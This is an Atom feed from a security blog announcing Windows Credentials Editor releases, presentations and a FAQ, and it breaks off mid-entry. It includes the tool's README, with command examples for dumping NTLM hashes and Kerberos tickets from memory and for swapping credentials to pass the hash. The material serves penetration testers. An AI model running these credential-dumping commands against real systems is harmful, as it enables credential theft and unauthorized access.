<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-18555569</id><updated>2012-01-26T15:05:57.297-03:00</updated><category term='Security'/><title type='text'>HEXALE (security &amp; reverse engineering)</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>80</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-18555569.post-5878242032531595072</id><published>2011-08-23T10:46:00.000-03:00</published><updated>2011-08-23T10:46:45.802-03:00</updated><title type='text'>WCE v1.2 64-bit version released</title><content type='html'>&lt;br /&gt;You can find the 64-bit version of WCE v1.2 &lt;a href="http://www.ampliasecurity.com/research/wce_v1_2_x64.tgz"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As always, all feedback is welcome, email me.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thank you!&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5878242032531595072?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5878242032531595072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5878242032531595072&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5878242032531595072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5878242032531595072'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2011/08/wce-v12-64-bit-version-released.html' title='WCE v1.2 64-bit version released'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5835852772362464933</id><published>2011-08-17T14:15:00.000-03:00</published><updated>2011-08-17T14:15:28.043-03:00</updated><title type='text'>"Post-Exploitation with WCE" Presentation</title><content type='html'>&lt;br /&gt;This presentation describes the techniques WCE brings to penetration testers and how these can be used in different scenarios. Although originally targeted to college students studying information security, you might find useful information you didn't know about even if you are an experienced user of WCE or penetration tester. &lt;br /&gt;&lt;br /&gt;Direct links:&lt;br /&gt;&lt;a href="http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_spa.pdf"&gt;Post-Exploitation with WCE (SPANISH)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf"&gt;Post-Exploitation with WCE (ENGLISH)&lt;/a&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5835852772362464933?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5835852772362464933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5835852772362464933&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5835852772362464933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5835852772362464933'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2011/08/post-exploitation-with-wce-presentation.html' title='&quot;Post-Exploitation with WCE&quot; Presentation'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1426796440375018630</id><published>2011-08-03T23:19:00.000-03:00</published><updated>2011-08-03T23:19:44.252-03:00</updated><title type='text'>Windows Credentials Editor (WCE) FAQ released</title><content type='html'>I find myself answering a lot of questions about WCE and related matters all the time; for this reason I decided to create a WCE FAQ to try to provide a centralized source of information and answers to all the questions.&amp;nbsp;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can find it here&amp;nbsp;&lt;a href="http://www.ampliasecurity.com/research/wcefaq.html"&gt;http://www.ampliasecurity.com/research/wcefaq.html&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The FAQ is still work in progress and I will continue to update it regularly with new information, attack scenarios, different ways to use the features provided by the tool, etc.&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you have a question in particular that you want answer, please don't hesitate to contact me, I'll answer you personally and also add the question and answer to the FAQ.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1426796440375018630?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1426796440375018630/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1426796440375018630&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1426796440375018630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1426796440375018630'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2011/08/windows-credentials-editor-wce-faq.html' title='Windows Credentials Editor (WCE) FAQ released'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4368366953021836600</id><published>2011-04-18T11:42:00.004-03:00</published><updated>2011-04-18T11:44:45.145-03:00</updated><title type='text'>Windows Credentials Editor (WCE) v1.2 released</title><content type='html'>Windows Credentials Editor v1.2&lt;br /&gt;&lt;br /&gt;New features in this version:&lt;br /&gt;-g&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Generate LM &amp;amp; NT Hash.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Parameters: &lt;password&gt;&amp;lt;password&amp;gt;.&lt;br /&gt;-K&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dump Kerberos tickets to file (unix &amp;amp; 'windows wce' format)&lt;br /&gt;-k&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Read Kerberos tickets from file and insert into Windows cache&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;Windows Credentials Editor (WCE) allows to list logon sessions and add, change, list and delete associated credentials (ex.: LM/NT hashes and Kerberos tickets). This can be used, for example, to perform pass-the-hash on Windows, obtain NT/LM hashes from memory (from interactive logons, services, remote desktop connections, etc.) which can be used to perform further attacks, obtain Kerberos tickets and reuse them in other Windows or Unix systems.&lt;br /&gt;&lt;br /&gt;WCE v1.2 supports obtaining logon sessions and NTLM credentials just by reading&lt;br /&gt;memory without performing code injection.&lt;br /&gt;&lt;br /&gt;Dumping Kerberos tickets and adding them to the Windows cache was tested on Windows 7; your feedback is welcome.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&lt;br /&gt;&lt;a href="http://www.ampliasecurity.com/research/wce_v1_2.tgz"&gt;http://www.ampliasecurity.com/research/wce_v1_2.tgz&lt;/a&gt; &lt;br /&gt;&lt;/password&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4368366953021836600?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/4368366953021836600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=4368366953021836600&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4368366953021836600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4368366953021836600'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2011/04/windows-credentials-editor-wce-v12.html' title='Windows Credentials Editor (WCE) v1.2 released'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3580717223302915189</id><published>2011-03-09T06:58:00.000-03:00</published><updated>2011-03-09T06:58:02.157-03:00</updated><title type='text'>RootedCON 2011 "WCE Internals" presentation available at slideshare</title><content type='html'>Check out my presentation on "WCE Internals" (based on WCEv1.1) available at slideshare (posted by RootedCON):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.slideshare.net/rootedcon/hernan-ochoa-wce-internals-rootedcon-2011"&gt;http://www.slideshare.net/rootedcon/hernan-ochoa-wce-internals-rootedcon-2011&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll publish the .pdf on &lt;a href="http://www.ampliasecurity.com/research/"&gt;http://www.ampliasecurity.com/research/&lt;/a&gt; next week.&lt;br /&gt;&lt;br /&gt;You can find all the RootedCON 2011 presentations here:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.slideshare.net/rootedcon/"&gt;http://www.slideshare.net/rootedcon/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Some presos are in Spanish and some in English.&lt;br /&gt;&lt;br /&gt;Go check them out!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3580717223302915189?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3580717223302915189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3580717223302915189&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3580717223302915189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3580717223302915189'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2011/03/rootedcon-2011-wce-internals.html' title='RootedCON 2011 &quot;WCE Internals&quot; presentation available at slideshare'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1942847683079967233</id><published>2011-03-07T10:12:00.000-03:00</published><updated>2011-03-07T10:12:05.133-03:00</updated><title type='text'>WCE v1.1 is out!</title><content type='html'>WCE v1.1 is out!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ampliasecurity.com/research/wce_v1_1.tgz"&gt;http://www.ampliasecurity.com/research/wce_v1_1.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;README:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Windows Credentials Editor v1.1 &lt;br /&gt;(c) 2010, 2011 Amplia Security, Hernan Ochoa &lt;br /&gt;written by: hernan@ampliasecurity.com &lt;br /&gt;http://www.ampliasecurity.com &lt;br /&gt;------------------------------------------------------------- &lt;br /&gt;&lt;br /&gt;Abstract &lt;br /&gt;---------- &lt;br /&gt;Windows Credentials Editor (WCE) allows to list logon sessions and add, change, list and delete associated credentials (ex.: LM/NT hashes). This can be used, for example, to perform pass-the-hash on Windows and also obtain NT/LM hashes from memory (from interactive logons, services, remote desktop connections, etc.) which can be used in further attacks. &lt;br /&gt;&lt;br /&gt;WCE v1.1 supports obtaining logon sessions and NTLM credentials just by reading &lt;br /&gt;memory without performing code injection. &lt;br /&gt;&lt;br /&gt;Supported Platforms &lt;br /&gt;------------------- &lt;br /&gt;Windows Credentials Editor supports Windows XP, 2003, Vista, 7 and 2008 &lt;br /&gt;&lt;br /&gt;Requirements &lt;br /&gt;------------- &lt;br /&gt;This tool requires administrator privileges. &lt;br /&gt;&lt;br /&gt;Options &lt;br /&gt;-------- &lt;br /&gt;Windows Credentials Editor provides the following options: &lt;br /&gt;&lt;br /&gt;Options:&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -l&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; List logon sessions and NTLM credentials (default). &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -s&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Changes NTLM credentials of current logon session. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Parameters: &lt;username&gt;:&lt;domainname&gt;:&lt;lmhash&gt;:&lt;nthash&gt;. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -r&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Lists logon sessions and NTLM credentials indefinitely. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Refreshes every 5 seconds if new sessions are found. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Optional: -r&lt;refresh interval=""&gt;. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -c&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Run &lt;cmd&gt; in a new session with the specified NTLM credentials. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Parameters: &lt;cmd&gt;. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -e&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Lists logon sessions NTLM credentials indefinitely. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Refreshes every time a logon event occurs. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -o&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; saves all output to a file. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Parameters: &lt;filename&gt;. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -i&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Specify LUID instead of use current logon session. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Parameters: &lt;luid&gt;. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -d&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Delete NTLM credentials from logon session. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Parameters: &lt;luid&gt;. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -a&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Use Addresses. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Parameters: &lt;addresses&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -f&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Force 'safe mode'. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -v&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; verbose output. &lt;br /&gt;&lt;br /&gt;Examples: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * List current logon sessions &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -l &lt;br /&gt;WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) &lt;br /&gt;Use -h for help. &lt;br /&gt;&lt;br /&gt;meme:meme:11111111111111111111111111111111:11111111111111111111111111111111 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * List current logon sessions with verbose output enabled &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -l -v &lt;br /&gt;WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) &lt;br /&gt;Use -h for help. &lt;br /&gt;&lt;br /&gt;Current Logon Session LUID: 00064081h &lt;br /&gt;Logon Sessions Found: 8 &lt;br /&gt;WIN-REK2HG6EBIS\auser:NTLM &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:0006409Fh &lt;br /&gt;WIN-REK2HG6EBIS\auser:NTLM &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:00064081h &lt;br /&gt;NT AUTHORITY\ANONYMOUS LOGON:NTLM &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:00019137h &lt;br /&gt;NT AUTHORITY\IUSR:Negotiate &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:000003E3h &lt;br /&gt;NT AUTHORITY\LOCAL SERVICE:Negotiate &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:000003E5h &lt;br /&gt;WORKGROUP\WIN-REK2HG6EBIS$:Negotiate &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:000003E4h &lt;br /&gt;\:NTLM &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:0000916Ah &lt;br /&gt;WORKGROUP\WIN-REK2HG6EBIS$:NTLM &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LUID:000003E7h &lt;br /&gt;&lt;br /&gt;00064081:meme:meme:11111111111111111111111111111111:11111111111111111111111111111111&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Change NTLM credentials associated with current logon session &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -s auser:adomain:99999999999999999999999999999999:99999999999999999999999999999999 &lt;br /&gt;WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) &lt;br /&gt;Use -h for help. &lt;br /&gt;&lt;br /&gt;Changing NTLM credentials of current logon session (00064081h) to: &lt;br /&gt;Username: auser &lt;br /&gt;domain: admin &lt;br /&gt;LMHash: 99999999999999999999999999999999 &lt;br /&gt;NTHash: 99999999999999999999999999999999 &lt;br /&gt;NTLM credentials successfully changed! &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Add/Change NTLM credentials of a logon session (not the current one) &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -i 3e5 -s auser:adomain:99999999999999999999999999999999:99999999999999999999999999999999&amp;nbsp; &lt;br /&gt;WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Och &lt;br /&gt;oa (hernan@ampliasecurity.com) &lt;br /&gt;Use -h for help. &lt;br /&gt;&lt;br /&gt;Changing NTLM credentials of logon session 000003E5h to: &lt;br /&gt;Username: auser &lt;br /&gt;domain: admin &lt;br /&gt;LMHash: 99999999999999999999999999999999 &lt;br /&gt;NTHash: 99999999999999999999999999999999 &lt;br /&gt;NTLM credentials successfully changed! &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Delete NTLM credentials associated with a logon session &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -d 3e5 &lt;br /&gt;WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) &lt;br /&gt;Use -h for help. &lt;br /&gt;&lt;br /&gt;NTLM credentials successfully deleted! &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Run WCE indefinitely, waiting for new credentials/logon sessions. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Refresh is performed every time a logon event is registered in the Event Log. &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -e &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Run WCE indefinitely, waiting for new credentials/logon sessions &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Refresh is every 5 seconds by default. &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -r &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Run WCE indefinitely, waiting for new credentials/logon sessions, but refresh every 1 second (by default wce refreshes very 5 seconds) &lt;br /&gt;&lt;br /&gt;C:\&amp;gt;wce -r5 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GETLSASRVADDR.EXE &lt;br /&gt;----------------- &lt;br /&gt;This tool can be used to obtain automatically needed addresses for WCE &lt;br /&gt;to be able to read logon sessions and NTLM credentials from memory. &lt;br /&gt;&lt;br /&gt;Addresses obtained can then be used with WCE using the -A switch. &lt;br /&gt;&lt;br /&gt;This tool requires the dlls symsrv.dll and dbghelp.dll available from the &lt;br /&gt;"Debugging Tools for Windows" package. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/addresses&gt;&lt;/luid&gt;&lt;/luid&gt;&lt;/filename&gt;&lt;/cmd&gt;&lt;/cmd&gt;&lt;/refresh&gt;&lt;/nthash&gt;&lt;/lmhash&gt;&lt;/domainname&gt;&lt;/username&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1942847683079967233?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1942847683079967233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1942847683079967233&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1942847683079967233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1942847683079967233'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2011/03/wce-v11-is-out.html' title='WCE v1.1 is out!'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5907521036316532832</id><published>2010-12-28T13:35:00.000-03:00</published><updated>2010-12-28T13:35:23.126-03:00</updated><title type='text'>Amplia Security at H2HC Cancun</title><content type='html'>Amplia Security at H2HC Cancun :)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_sUXOjNfwj9k/TRoQnmFZiPI/AAAAAAAAADo/Lc1DCV_lB3A/s1600/AmpliaSecurity_H2HC_Cancun.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://4.bp.blogspot.com/_sUXOjNfwj9k/TRoQnmFZiPI/AAAAAAAAADo/Lc1DCV_lB3A/s320/AmpliaSecurity_H2HC_Cancun.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5907521036316532832?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5907521036316532832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5907521036316532832&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5907521036316532832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5907521036316532832'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2010/12/amplia-security-at-h2hc-cancun.html' title='Amplia Security at H2HC Cancun'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sUXOjNfwj9k/TRoQnmFZiPI/AAAAAAAAADo/Lc1DCV_lB3A/s72-c/AmpliaSecurity_H2HC_Cancun.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2850892460173347862</id><published>2010-10-30T14:19:00.001-03:00</published><updated>2010-10-30T14:21:59.818-03:00</updated><title type='text'>Contributing author of Hacking Exposed Web Applications 3rd. Edition</title><content type='html'>Shamless plug alert!&lt;br /&gt;&lt;br /&gt;Hacking Exposed Web Applications 3rd. Edition is out! and I'm a contributing author! Check it out!&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;a 